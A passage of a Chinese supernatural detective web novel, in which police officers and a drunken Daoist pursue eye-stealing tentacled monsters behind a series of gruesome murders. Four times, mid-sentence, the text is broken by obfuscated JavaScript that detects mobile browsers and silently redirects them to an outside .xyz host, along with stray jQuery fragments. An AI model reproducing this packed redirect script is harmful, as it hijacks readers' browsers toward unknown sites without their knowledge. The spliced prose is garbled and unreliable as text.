难道是,凶手为了可以随时监控案发现场,这才要强占那个可以看清芦苇丛的位置。可是会因为这事跟人大打出手吗?这样不是让自己更加显眼,很容易引起警方怀疑吗?
田芸淼满腹疑问,看来只有亲自跟嫌疑人询问才能得到答案。
不远处是一排居民楼,最高不过六层。薛穆冉一栋栋查看着序号,忍不住抱怨道:“这些楼太老了,编号都没了,这可怎么找?”
“找人问问路吧。”
田芸淼拉住正在散步的大爷,这才问清楚地方。因为物资紧缺,两人都没有配枪资格,只有腰间那根电棍,可以拿来对抗歹徒。
上到二楼,两人各自站在徐自友门的两侧,精神高度紧张。
田芸淼更是感觉嗓子里直往外冒酸水。也许是一路奔跑导致胃部不适,也许是第一次面对嫌疑人的刺激感,这一切交织在一起,像一根无形的绳子绞住她的脖子,将她勒得喘不过气。
敲门无果,薛穆冉很绅士的让女士退后,然后一脚踹开门。两人退在门边,见里面毫无反应后,才快步进去。
客厅空无一人,除了摆在房间中央的棕色皮质沙发,一张餐桌,几把木质椅子外,别无他物。但空气里弥漫着的血腥气时刻提醒着进屋的人,这里正发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988034|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生着不寻常的事件。
循着气味,田芸淼颤抖着手推开虚掩的卧室门,眼前的景象让两人彻底惊呆。
卧室中央放置着一方形带着白色帐幔的大床,几缕红色血迹沾在上面,像雪地里盛开的红梅。
帐子中隐约可以看见一个人影,一动不动,直挺挺的躺着。田芸淼看了一眼薛穆冉,两人心里已经猜到,这人恐怕已经凶多吉少。
轻轻掀开床头的帐幔,只见被鲜血染成绛红色的床单上,躺着一个面目全非的男人。他穿着一件灰白色衬衫,此时已经被血染红。
胸口不知道被什么东西开了个大口子,正突突往外冒着鲜血。双手张开,搭在床沿两侧,穿着西裤的两条腿绷得笔直,脚上甚至连皮鞋还没脱。
仔细看去,男人的脸已经扭曲变形,上面还留着下午在酒店打架后的青色肿块。原本应该盛放眼珠子的地方变成两个血窟窿。
鲜血尚未凝结,像眼泪似的不断流下来,在白色的枕头上留下红色的印记。
“看来凶手还没走远,赶紧查看一下其他房间!”
刚说完,一道黑影从门后闪过,破窗而去。田芸淼紧跟其后,刚欲翻身下窗,却被薛穆冉拉住。
“你在这里看守,我去追——”话音未落,一纵身,他已经翻下窗子。
无奈,田芸淼只好担起看守现场的重任,此时屋内只剩下那具血肉模糊的尸体作伴。
窗户边有张桌子,她拉开抽屉,里面有不少书信,信封上的自己娟秀,似乎出自女子之手。她有些好奇,随手拆开最上面的一封,看完后,忍不住叹道:“既然你有喜欢的女子,为什么还要对那个无辜的女人下如此狠手呢?”
原来,这些都是情书,字里行间满是浓情蜜意。但是日期最新的那封却写的有些怪异,整张信纸上只有一首诗:月儿弯弯照潭幽,几只彩灯绕水流。几个情郎意坚贞,几段爱情可结果。
“难道,是这个女人怀疑情郎出轨,所以跟踪他,结果被发现了。情郎一气之下,将她杀害——”田芸淼自言自语着,“可是,如果已经打算分手,也就是说,不爱了,那还会——□□——吗?”
忽然,她浑身一颤,只感觉背后一阵阴气袭来,顿时胳膊上起了一片鸡皮疙瘩。她缓缓转身,帐幔上血痕依旧,那个模糊的影子也丝毫没有移动的趋势。
“我——我去隔壁借个电话吧——”她对着床上的尸体说着,然后往门口方向走去,打算离开。
咚——咚咚——
床边传来奇怪的声音,让田芸淼浑身一震。她停住脚步,呼吸也急促起来,脑子轰然一声,像是有颗炸弹在里面爆开,只剩下一片空白。耳朵里不断回响着那不断扩大的‘咚——咚咚——’,她想象着自己一回头,就跟床上的血腥面孔打个照面的情景,双手也跟着颤抖。
为了稳住心绪,她使劲揪着自己的裤管,又掐了一把,腿上的疼痛感暂时缓解了她的恐惧。她握着腰间的电棍,猛地转身,将电棍拿在手里,大叫道:“谁在那里?”
所幸,整间屋子再无其他活人存在,床上的那人还是保持着平躺的姿势,只是地上,多了一颗红白相间的眼珠子。
19. 第六章 一叶障目
时间已经接近下午五点,夕阳从窗户透进屋子,在墙上留下一个亮色光斑,白色的瓷砖上,正躺着一只带血的人眼珠子。
田芸淼额头上汗如雨下,衣服已经湿透,紧紧的贴在后背。她紧紧握着手里的电棍,不断喘着粗气,耳中响起一片忙音,隔绝了外部的声响,让她只能听见自己逐渐加快的心跳声。
扑通——扑通——
用电棍掀开帐子,床上的人更刚才似乎没什么两样。她退后两步,端详起地上那枚凭空出现的东西来。
似乎是从上面掉下来的。而眼珠子上面,是死者垂着的右手。
掰开另一只手,果然,也有一颗眼珠子。
这,究竟是怎么回事?
借了隔壁家的座机打完电话,天已经黑了。田芸淼靠在门口,盯着楼道里上上下下的过路人。这屋子里面她是再也不想多呆一秒钟了。
半个小时后,队长萧泰安带着三四个年轻警察和周医生赶来,对现场展开调查,结果发现,死者□□已经溃烂。
在场的男性里面,除了萧泰安依旧镇定自若,其他几人纷纷面露痛苦的神色,不忍去看尸体。
周青语检查完尸体后,说道:“死者刚刚死亡不超过一个小时,但是很奇怪,他身上除了眼睛跟□□以外,没有其他伤痕,死亡原因现在无法判断。要回去进行解刨才行。”
加上现场勘查也已经结束,众人连同那具尸体一起返回了警局。
话分两头,再看薛穆冉那头进展。
他追着那道黑影来到一处幽深的树林,就跟丢了对方踪迹。此时天空渐渐暗下来,他在林中搜索一阵无果后,打算返程。忽然听见远处传来一阵说唱的声音,只好藏在草丛中观望。
“我本山中一小道,因祸无法采山药。如今来到尘世间,总得乐个自逍遥——嘿——自逍遥——”
一个摇摇晃晃的身影缓步走来,跌跌撞撞地在林中穿行。走近一看,才发现这正是白天的酒鬼——竹七九!
他依旧穿着那件满是污渍的蓝色卫衣,头发结成条,沾着不知名的白色絮状物。手里拿着一个竹筒制成的酒壶,边走边喝,周身散发出浓重的酒精味。
“这下被我抓个正着吧!”薛穆冉跳出来,抢过他手中的酒壶,闻了闻,笑道:“这里可不止500ml。加上你白天也喝了酒,这次可没的抵赖了!”
这怪人也不生气,还笑嘻嘻的靠过来,在他耳边低语:“等会听我暗号,我说‘跑’,你就拼命往北边跑,千万不要回头。别多问,脸上也不要有表情。”
说罢,他又哈哈大笑起来:“我说,你大晚上来这里,不是要拉屎吧?”
“你在说什么浑话!”薛穆冉满心疑惑,但是机敏如他,也逐渐发现这林子有些不寻常之处。
寂静,连一丝风声也听不见。就算现在天色已晚,鸟兽逐渐安眠,只是这夜里好歹也有夜虫鸣叫,可这里竟然丝毫不闻。
“哈哈哈,世人都爱说胡话,又何止我一个!夜已深了,速速回家去吧!跑!”竹七九轻轻推了一把薛穆冉,趁机将一枚黄色物件塞进他怀里。
薛穆冉呆住,一下子忘了北方是哪一边,愣在原地也不动弹。气得竹七九脸色通红,破口骂道:“你这个人是不是脑子有问题啊?听不懂人话吗?”
就在这时,一阵狂风掠过,林中枯叶败草扶摇直上,在空中化出一只人形模样的怪物,只是两只树叶团聚化成的眼珠子悬在半空,并不与身体相连。
薛穆冉当场呆住,盯着那怪物,嘴里蹦出两个字:“眼睛!”
“咳咳——谁也跑不了!”那枯草堆发出声音来。
“这可不是你说了算的!”竹七九捡起地上一根枯树枝,在胸前比划起来,笑道:“就这个挺好,枯叶就该烂木头来打!”
“喂!这树枝都快烂成渣渣了,还是用我这个电棍吧!”
饶是薛穆冉胆子再大,第一次遇见这种超乎寻常的事,也有些吃不消。心底虽说不上来有多害怕,但双腿却还是有些发抖。除了止不住的紧张外,还隐约有一丝兴奋。
“正所谓,相生相克,你那个打人还行,打这种怪物,就差了点意思。”只见竹七九将双手摊开,嘴里慢慢念叨着,“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。赵钱孙李,周吴郑王——”
“等等,你这不是百家姓吗?”薛穆冉听了半天,忽然反应过来。
竹七九好像没听见似的,也不回答,接着念道:“冯秦褚卫,姜沈韩杨。太上老君急急如律令!敕!敕!敕!”
刹那间,一缕金色的光芒从那截枯树枝里冒出来,在空中逐渐凝结,幻化出来一柄三尺长剑。
“嘿嘿,这次要分个胜负!”竹七九纵身一跃,拿着那柄发光的长剑往面前的枯树叶化成的人形怪物身上刺去。
谁知那怪物行动迅速,早已察觉,立时散开,重新变成一堆没有意识的枯叶杂草。竹七九闭眼凝神,站在原地感知着周边气息。
不到半分钟时间,整片树林哗哗作响,无风起浪。林中栖息的鸟兽们纷纷四散而逃,不时有几只长尾巴的小动物撞在两人腿上。
不远处的薛穆冉也不敢做声,警惕的看着四周,生怕那怪物从背后突袭。
“找死!”
耳畔极近的距离响起阴寒的声音,顿时脸颊起了一小片鸡皮疙瘩。薛穆冉愕然转头,只见一双褐色枯草团子悬在半空,距离自己不过半米距离。
那是怪物的一双眼睛。转瞬之间,连接这双眼睛的两条黑色触手在落叶中穿行,像行动敏捷的蛇。一条卷住竹七九的脚脖子,另一条,锁住薛穆冉的脖颈。
一股巨大的力量将竹七九悬在半空,并逐渐往薛穆冉身旁靠拢。此时的薛穆冉也好不到哪里去,脖子被勒得通红,整张脸变成猪肝色。
触手身后,一团暗紫色影子逐渐在黑夜中现出真形来,竟然是一个形容枯槁,浑身粗糙发黑如树皮的老人。
他头皮半秃,额头上稀疏有几丝银发。脸颊凹陷,眼睛的位置延伸出来两条黑色的触手,嘴唇呈现暗紫色,皱在一处,此刻正在快速抖动,似乎在说着什么。
两只枯瘦的手垂在微微弯曲的膝盖处,背部凸起,像是背了一口大锅。
“终于看见你真身了!”竹七九由于身体被倒吊着,气血不畅,导致脸色胀红,说话都有些不利索,“这次——看你往哪里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988035|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑!”
“太上老君急急如律令!敕!敕!敕!”
刹那间,一抹精光从薛穆冉胸□□出,直接击穿那怪物双眼。失去依托的两只触手很快变得绵软无力,掉在地上像两截塑胶管子。
竹七九一个翻身,稳稳落在地上。走到那怪物身边蹲下,盯着那本是眼睛的位置,忽然伸出手将那两根触手拔去。
接着用食指跟中指在眼窝里搅动着,发出令人作呕的动静。片刻后,他拿出一颗黑色珠子,笑道:“还好这次是本体,不然就吃了大亏了。”
在一旁看得目瞪口呆的薛穆冉惊讶的问道:“这东西究竟是什么?”
“一叶障目,听过吗?”
“那个成语故事?摘了片树叶以为就能隐形的那个吗?”薛穆冉搜寻着脑海里仅存的成语故事,结果只记得大概内容。
“正是!”竹七九笑道,“古人以为,螳螂在捕蝉时用树叶遮住自己的身体,其它动物就看不见它。所以只要能得到那片树叶,就能用来隐藏自己的身体。”
没想到,面前这个神神道道的怪人倒是有几分见识,对这些书本上的东西张口就来。他以自己极低的知识水平,来夸赞竹七九那本属一般的学识。
“可是,那个成语故事跟这个怪物有什么关系?”
“都说眼睛是心灵的窗户,这话你总听过吧?”竹七九将珠子收入怀中,接着说道,“但是目能观物,所以,心不能静如止水,因为外界诱惑太多。这怪物以此珠代替眼睛,进行修炼。”
“可是,我还是不懂,这跟‘一叶障目’有什么关系!”薛穆冉依旧迷茫,理不清这内里的联系。
“真笨啊!眼睛都没了,修炼成功也是残体,又有什么意义呢?变成一个神仙瞎子吗?”竹七九无奈的笑笑,用竹筒酒壶敲了一下他的头,忽然严肃起来,“今夜之事,还希望你可以当做没看见,不然,只怕还会有祸事。”
“你是说,这人——不是,这怪物有同伙?”薛穆冉摸着被敲疼的脑袋,问道。
“这倒不是,这位也是可怜人,听信他人妄语,放弃坚持了几十年的正统修炼方式,转修邪法,这才入魔。”竹七九有些感慨,“只是,这背后之人恐怕不会善罢甘休,还会诱惑其他修行之人。为避免打草惊蛇,我现在不能现身。”
“你打算孤身一人,去扫荡贼人老巢吗?”
“这也不是,走一步算一步吧,现在我也没什么计划。”竹七九笑了,喝了一口酒,“不过,眼睛是双数,应该还有一只。可能,那只才是你们要找的凶手。”
“你这是什么意思?他们不是没有眼睛了吗?”
“正是因为他们本身已经没有眼睛,为了可以视物,这才需要其他生物的眼睛来辅助。”竹七九解释道,“这只我追了他有一阵子了,应该不是他干的。所以最近那起凶案,应该就是另一只下的手。”
“已经是第二起了,刚刚下午,我们发现那个嫌疑人也被杀了,胸口一个大洞,一双眼睛都被挖了。”薛穆冉将下午发生之事仔细说了一遍。
谁知竹七九听完后整个儿愣住了,喃喃道:“不会啊,他们只会通过绞杀来夺眼。怎么会胸口大出血呢!”
20. 第七章 怪物物怪
事出古怪,必有因。竹七九担心会有更严重的事情发生,于是跟薛穆冉商量,找了个借口跟着一起回到警局,恰好在门口碰上侦查结束回来的萧泰安一行人。
见到竹七九,他们有些惊讶,听到薛穆冉简化之后的故事——也就是两人在树林中碰见疑似凶手的老头尸体——后,萧泰安也忍不住皱起眉头。
“你们,去几个人把尸体带回来,让周医生检查一下。”
两个年轻警察应声去了,消失在黑暗的街道里。
这时已经接近夜里九点钟,镰刀形的月亮挂在天上,将地上的人或房屋都罩上了一层朦胧的影子。
几人已经奔波一天,萧泰安自掏腰包,请了一顿云吞面。
众人顿时狼吞虎咽起来,吃得快的几人摸了摸肚皮,觉得还有空余的位置可以装下更多的面条,纷纷打起剩余那两份外卖的主意来。那两位出夜勤的同事还未回来。
饭饱之后,众人围在桌子边商量案情。竹七九扫视一眼后,悄悄对薛穆冉说道:“我有点担心那两个人,要不,我先撤,去那边看看情况。”
“你是说——那边可能还有一个?可是刚刚我们都干掉一个了,另一个不可能就藏在那附近不现身吧?”
“说不好,我有点不舒服的感觉,今晚月亮光芒太盛,恐怕有怪事发生——”
“喂!你们两个人悄悄说什么呢?”坐在对面的田芸淼见他们二人一直在咬耳朵,忍不住出言询问。
“不行,我得走了!”
竹七九霍地一下起身,就打算离开,被队长萧泰安一把拉住。
“到底怎么了?”
“夜黑风高,我担心那两个同事的安危。”竹七九有些着急,看着满屋子的眼睛都在盯着自己,他张了张嘴打算解释几句,最终还是闭上了。
萧泰安盯着竹七九看了几眼,沈声道:“去吧,再来几个同事一起。”
竹七九感激的笑了笑,带着众人那片密林中跑去。谁知刚到林子口,他们纷纷停住脚步,惊得目瞪口呆。
面前的一棵歪脖子树上,前后吊着两个人影,正在随风轻轻摇摆着。鲜血顺着身体往下滴着,打湿了一小片尘土。
见众人不敢上前,竹七九率先走到那树下查看。两人的眼睛均被摘走,只留下血窟窿往外渗着血。脖子上捆着的是方才他才拔出来的那两节触手,被人拿来当工具使了。
“又被摘掉眼球了?”薛穆冉走过来,好奇地问道。
“不,不对劲,你看他们手上。”竹七九低声说着。
原来这两个人的眼睛都握在手心,一边一颗。
“跟下午那起案子类似。”田芸淼也走过来,“下午徐自友死在床上,眼珠子也握在手里了。”
“这两个人胸口也破了大洞,是不是同一人所为啊?”薛穆冉看着竹七九,看来,经过刚刚的生死一刻,他已经完全信任眼前这个人。
剩余几人也走过来,帮忙解下绳索,将两位殉职的同事平放到地上。刚才离得远了,还不觉得,现在一看这熟悉的面孔,惨烈的死状,脑中回忆起往日的嬉笑打闹,各个都红了眼圈。
萧泰安脱下外套,将其中一人的上半身盖住。薛穆冉见了,苦于自己没有外套,却见旁边的田芸淼已经脱下自己的衣服,将另一位也盖好了。
萧泰安带着大家将这片林子仔细搜查一番,发现不但毫无凶手踪迹,连竹七九所说的那具老头尸体也不见了。
又担心留人看守会再发生意外,只好先将两位殉职者带回,其他的等第二日白天再做打算。
一行人不像来时有说有笑,都阴沉着脸默默走着。
竹七九偷偷拉住薛穆冉,低声问道:“你们发现的第一具女尸,胸口有伤口吗?”
“没有,除了手脚那块有些伤痕,哦,对了,死者脖子那块有个红印子。尸检报告也说是被人勒死的。”
“真是奇怪!按照旧例,只有这第一具死者符合修炼‘瞳术’者夺眼的情况。”竹七九喃喃自语。
“瞳术?那是什么?”
“世间有四眼,天眼,法眼,慧眼,还有一种,就是人类的肉眼。天眼可见一切外在事物,无论白天黑夜。法眼可见世间所有事物的来龙去脉,可知因果循环。慧眼能看透世间虚像,可知过去未来。
但是人类之眼,所见甚少,却能带来无数纷扰。于是一些修炼之人会选择废掉自己的双眼,修炼出新的眼睛。其中一种修炼方式就是,夺眼。夺取他人眼睛,来看自己的世界。”
“这算什么?别人的眼睛,那也是普通人类的眼睛啊!”薛穆冉疑惑了。
“不,死掉的人类眼睛,就会异化,变成除了以上四种眼睛之外的存在——怪眼。物怪之眼。所谓物怪,就是字面意思,东西变得奇怪了,不正常了,都可以成为物怪。”
“人死了,怎么会算是变得奇怪呢?”
“那两根触手,就是让简单的死亡变得不正常的原因。被物怪杀死的人类本身,也算是物怪的一种。”
“所以,那些怪物——啊,不,是物怪,都是用触手勒死死者,而不是用尖锐物品去刺穿死者,你是这个意思?”
“正是。刚刚我们干掉的那个老头,就是修炼瞳术的物怪。但是我一路追着他好几天,他根本没机会下手。可见第一起案子是另一只干的。因为瞳术修炼者一般都是成双结对的,这样效果更好。”
“所以后面这三起案子,其实另有玄机?”薛穆冉恍然大悟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988036|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一脸佩服的看着竹七九。
“只是猜测罢了。只怕这背后,还有更大的阴谋。”
“你觉得,有东西在操控这些物怪吗?”
“我有这种感觉。彩衣镇近期有不少生人进来,当然,我也是其中之一。那老头在我之后才到,结果运气不好被我盯上。可是,你知道吗,物怪跟蟑螂一样,你发现了一只,那肯定已经藏了一窝在某个地方。”
“那他们准备做什么?杀光我们吗?”薛穆冉一不小心叫出声来,看见前面的同事回头看向自己,连忙尴尬的道歉。
“物怪依托人类,肯定不会杀光我们的。”竹七九小心看着四周,黑如漆的眼珠子滴溜溜乱转,“但是搞不清对方的意图,我们很被动。先就这样吧,我得走了。”
说罢,偷偷放缓脚步,闪进旁边的巷子里不见了。
几人将尸体送去交给周法医,萧泰安转眼看了看,拉住薛穆冉问道:“那小子呢?”
“他,不知道什么时候,就不见了。”薛穆冉眼神慌乱,撒了个谎。
“你跟我过来!”萧泰安拖拽着薛穆冉走进审讯室,大力将门带上,发出砰——的一声巨响。田芸淼偷偷跟过去,凑在门边偷听。
经过一番严厉审讯,薛穆冉很没出息的将一切全盘托出。一方面是因为他认为队长值得信任,另一方面,他也不希望警局因缺少这些信息而导致调查进入死胡同。
萧泰安低头思索半晌,才开口道:“这件事,先别说出去。我自有安排。”
一打开门,田芸淼一个箭步跳到公告栏的位置,假装看上面的信息。萧泰安看了她一眼,也没说话,自顾自走了。
薛穆冉垂头丧气的走出来,被田芸淼拉到边上斥责:“这么大的事情你竟然什么都不说!你知不知道——”
忽然停住,她不想将那两位同事的死亡,怪在薛穆冉身上。更何况,这确实不怪他,当时谁都没能料到会有意外发生。
“师姐,你想说什么?”薛穆冉问道,一脸的天真。
这样也好,本来就不应该他来担负起这个责任。田芸淼这样想着,松开了手,低声道:“下次再有这样的事情,一定要先跟我汇报!不准瞒着我,还有队长。”
“知道啦!绝对没有下次。”
“那你跟我详细说说,你们打败那个怪物的经过吧,用上电棍了吗?”
“这你就不懂了吧,正所谓,一物降一物,烂木头就该树叶来敲打——”
“什么?树叶怎么敲打?”
“啊,不对,是烂树叶还要烂木头来敲打——”
两人走到警局后面的宿舍楼前停住,恰好面前是青石板搭成的几阶楼梯,两人就地坐下,说起整件事的经过来。
21. 第八章 暗中伏击
弯月高悬,林中阴影绰绰,微风扫过,树叶间沙沙作响。忽然一道黑影在林间掠过,震得熟睡中的雀鸟一飞而起,在空中盘旋不停。
“我们本是井水不犯河水,你为什么要赶尽杀绝?”在一棵离地约五六米高的枝丫上,那黑影转身询问,竟然是略带沧桑的女人声线。
“谁让你们坏了我的好事!”声音婉转动人,在这奇异的环境中更添了几分魅惑。
皎洁的月光下,那人款款走出,上半身藏在阴影中,看不清面容,下半身穿着青绿色的紧身裤,勾勒出凹凸有致的曲线,也是一位女子,只是从声音来判断,似乎更年轻一些。
“那你也不必这样下狠手,我们半年取一次人眼珠子,为的就是可以掩人耳目,你却在这么短的时间里连杀三人,是想要大家都送命吗?”
面对黑影的询问,那年轻女子笑出声来:“先别急着给我盖帽子!谁说人是我杀的?再说了——你们也配活着吗?不人不鬼的怪物,本来就该去死!”
“你!仗着自己几百年的修行,就看不起人吗?自己动不了我们,就借别人的手!你又有什么资格活着?只会使用媚术勾引男人的低等妖怪,还来看不起人了!”
年轻女子浑身一颤,似乎被说中要害。藏匿在树木阴影中的上半身渐渐异化,双手像藤条一般伸长,逐渐变硬,还生出一排锯齿来。
哗的一声,飞身冲去,那黑影躲闪不及,被按到在树枝上。
“现在,看你还嘴硬不了!”化身锯齿的双手在那黑影的脖颈上来回摩擦,“现在,我就让你看看,我有没有那个能力干掉你!”
挥起右手,刚欲斩断手下之人的头颅,只见寒光一闪,那截手臂已经被削成两段,断口处缓缓流出淡绿色液体。
啊——痛苦的惨叫声响彻天空,惊起一群飞鸟。
那年轻女子吃痛缩回手,转头看向身后那棵树,不知何时,那枝丫之上,站了一个身穿黑色长袍,脸上带着半张金属面具的人。
“呦,没想到连您都亲自出马了,看来最近很缺人手啊,连这样的货色都视若珍宝!”年轻女子将双手恢复成原来的模样,掐住手下之人的脖子,纵身一跃,跳到树下。
将那女人踩在脚底,继续笑道:“林先生,你就这么想要她吗?”
那位被称为林先生的面具男子也跳下来,冷冷回道:“青灵,你过界了,人妖修行,本就互不干涉。你在彩衣镇数百年,难道还不懂这个道理吗?”
“正因为我在这里几百年,才容不下你们胡作非为!”年轻女子听见对方称呼自己姓名,登时怒从中来,脚下更是大了几分力气,踩得那女人满脸痛苦的表情。
此时月光更甚,才看清楚几人长相。这位被称为青灵的女子,看上去不过二十来岁,身材窈窕修长,一头长发高高束起,在月光下闪着淡绿色光芒。
再看她脚下踩住的女人,面黄肌瘦,皮肤干枯如树皮,一如之前竹七九击杀的那个修炼邪术的老人。
戴面具的林先生冷哼一声:“看来,今夜免不了一战了。”
说完,黑袍猎猎飞舞,像是里面藏了一架鼓风机。下一瞬间,无数触手从里面飞出,向青灵掠过来。
青灵左右挡了几次,发现对方法力更胜从前,心知不是对手,一时间也慌了神,刚一分心,手腕被对方抓住。她化气为刀,斩断那根缠人的触手,然后弯腰,一刀插进那干枯的女人的心脏。
那干枯如死树的女人闷哼一声,嘴巴张了张,最终什么也没说出来就断了气。
此举直接激怒了面具男,他一挥手,更多的触手从身后飞出,绞成一个巨大的圆形框,从青灵头顶往下罩去。
一时间,巨大的气浪袭来,将青灵逐渐压倒,眼看就要被那触手做成的牢笼困住,远处忽然响起一阵念咒的声音:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。赵钱孙李,周吴郑王。冯秦褚卫,姜沈韩杨。太上老君急急如律令!敕!敕!敕!”
霎时间,一道金光亮起,直直冲向这个圆形框。
刚一接触,那面具男只觉得这金光热得犹如岩浆,触手与之相碰,立刻被烧的直冒黑烟,慌忙中,触手牢笼逐渐松开,露出两尺来宽的间隙。
趁此机会,青灵足下轻点,逃了出去,三两下跳上旁边的大树,笑道:“今天玩够了,我得走了!”转眼消失在黑夜中。
那面具男看了眼远处缓缓走来的身影,暗骂了一句,也飞身掠走了。
剩下那个摇摇晃晃念咒的男人从黑暗中现出真身,果然是竹七九。他笑着捡起地上的竹筒酒壶,喝了一口,咂嘴道:“美味!刚刚委屈你了,用你当武器,抱歉抱歉!”
说着又将脸贴上去,爱怜的蹭了蹭酒壶。
“都这么喜欢玩触手,干脆改名叫触手门好了!”竹七九笑了笑,看见前方地上的尸体,叹了口气,“这样也好,你们去到地底下还能继续作伴。”
他弯腰从那尸体眼睛里掏出一颗雪白的珠子,塞进怀里。拿了张黄符燃起明黄色的火焰,很快,那具尸体像枯树枝般燃烧起来。
“世人都道神仙好,我说做人最逍遥!想吃吃得饱,想喝喝的好——”
荒腔走板的唱调,随着主人的脚步逐渐远去。
第二日,天刚蒙蒙亮,竹七九忙活一夜,才闭上眼睛不过半个小时。此时他躺在一处破烂房屋内的草堆里,只觉得脚下软绵绵的,仿佛走在云朵上似的,意识也变得飘忽,即将进入深度睡眠。
哐当一声,破门被人推开,撞在墙上又反弹回来,发出阵阵恼人的噪音。
竹七九揉揉眼睛,翻了个身,小声抱怨着:“别吵我,刚睡着呢!”
“大师,大师,不好啦,那具女尸变异了!”薛穆冉冲了进来,使劲摇晃着已经睡迷糊的这位大师。
自从昨夜他将一切经过跟队长汇报后,他们找了好几处流浪者聚集地,终于在清晨发现了竹七九的身影。
至于为什么这么着急,因为今天凌晨,那具本该稳稳当当睡在冰柜里的尸体,突然发出古怪气味,熏得值班的同事呕吐不已。
他连夜叫醒周法医起来检查,这才发现,这具女尸已经像脱了水的萝卜干
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988037|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,浑身起了一层皱纹,甚至有几只黑色的小虫子从那两只血窟窿里窜出。
纵使周法医见多识广,依旧被吓得够呛,又去叫醒萧泰安,紧接着,整个警局的人都醒了。大家将尸体搬上解剖台,仔细看去,才发现不知从何时开始,尸体的背部竟然生出一条淡紫色的线路,从尾骨位置直达死者头顶。
因觉得这皱巴巴的样子,像极了夜里看见的那干瘪老头的样子,薛穆冉自告奋勇,出来寻找竹七九的下落,好带回去看看这场灵异事件。
“你是说,那具尸体表面开始发皱,而且背部有一条紫线直通头顶?”竹七九揉了揉脑子,有些苦恼起来:“这次完全猜错了,原来不是那家伙干的!”
“什么啊?不是谁干的?那是谁干的?”薛穆冉在旁着急的询问。
“大早上的别跟我绕口令了!先去看看那具尸体再说吧!”竹七九摇摇晃晃站起来,又将那竹筒酒壶别在腰间,大手一挥,“前面带路!”
“好嘞!”薛穆冉点头哈腰起来,忽然意识到不对,忙直起腰杆子,“怎么变成店小二了!这样可不行!哎,大师,你这些都哪里学的啊?你那个羽化成仙的师父教你的吗?”
竹七九笑了,早晨的空气带着些许凉意,他裹紧了身上那件衣裳,冲薛穆冉招招手,让他附耳过来,才悄悄道:“我这啊,是天生神力!哈哈哈哈哈!”
一阵狂笑声中,两人已经走到街上,不少商贩已经摆出摊子,食物的香气瞬间飘进饥肠辘辘的竹七九鼻子中。
他轻轻咳了几声,装作为难的样子,引得薛穆冉发问,才慢悠悠解释:“一日之计在于晨,早饭可是很重要的。你看,昨天忙了那么久,就吃了一碗面条,早就消化完被我排出去了。”
“你想吃饭直说嘛,非要扯上排泄的话题,等会还吃得下吗?”薛穆冉皱起眉,一脸嫌弃,“你想吃什么,随便挑,我请客。”
“当真?”
“那是自然,这点钱我还是付得起的。”
“这还不错,比你们那个小气的女同事好多了!”竹七九买了三四个大肉包,又加了一碗稀饭,一杯豆浆,两人边走边吃。
“你说田师姐啊?”薛穆冉咬下一口包子,立刻语言不清起来,“师姐是外地来的,在这里无亲无故的,自然要省着点。现在我们都住在警局后面的宿舍,虽然说不用房租,但是毕竟不是自己的家啊,师姐估计也是想买个房子吧。”
“他们田家,连这点钱都舍不得给她?”竹七九冷哼一声,语气中满是嘲讽。
“这你都知道?”薛穆冉惊讶的发问,“田家的产业都在田云霄手上,他自然不肯分给师姐,谁会跟钱过不去啊。再说了,师姐也不一定愿意接受他家的钱。”
“哦吼,女人的自尊心吗?”
“那我就不知道了,反正我有这种感觉,师姐是个很有想法的人,她才不会惦记田家的钱呢!”
“当心知人知面不知心!”竹七九吞下最后一口包子,又嗦了一大口豆浆,满足的拍拍肚皮,露出开心的笑容,“好久没吃这么饱了,真幸福啊!”
22. 第九章 一人得道
“果然没错,这起凶案果然另有蹊跷。”亲自查看后,竹七九发现尸体背部并不是一条紫线直通头顶,而是在背部分了岔,变成两股线往头骨两侧延伸。
他将白布盖上,凝神看向在场的几个人,神情肃穆庄严:“你们听过养蛊的说法吗?”
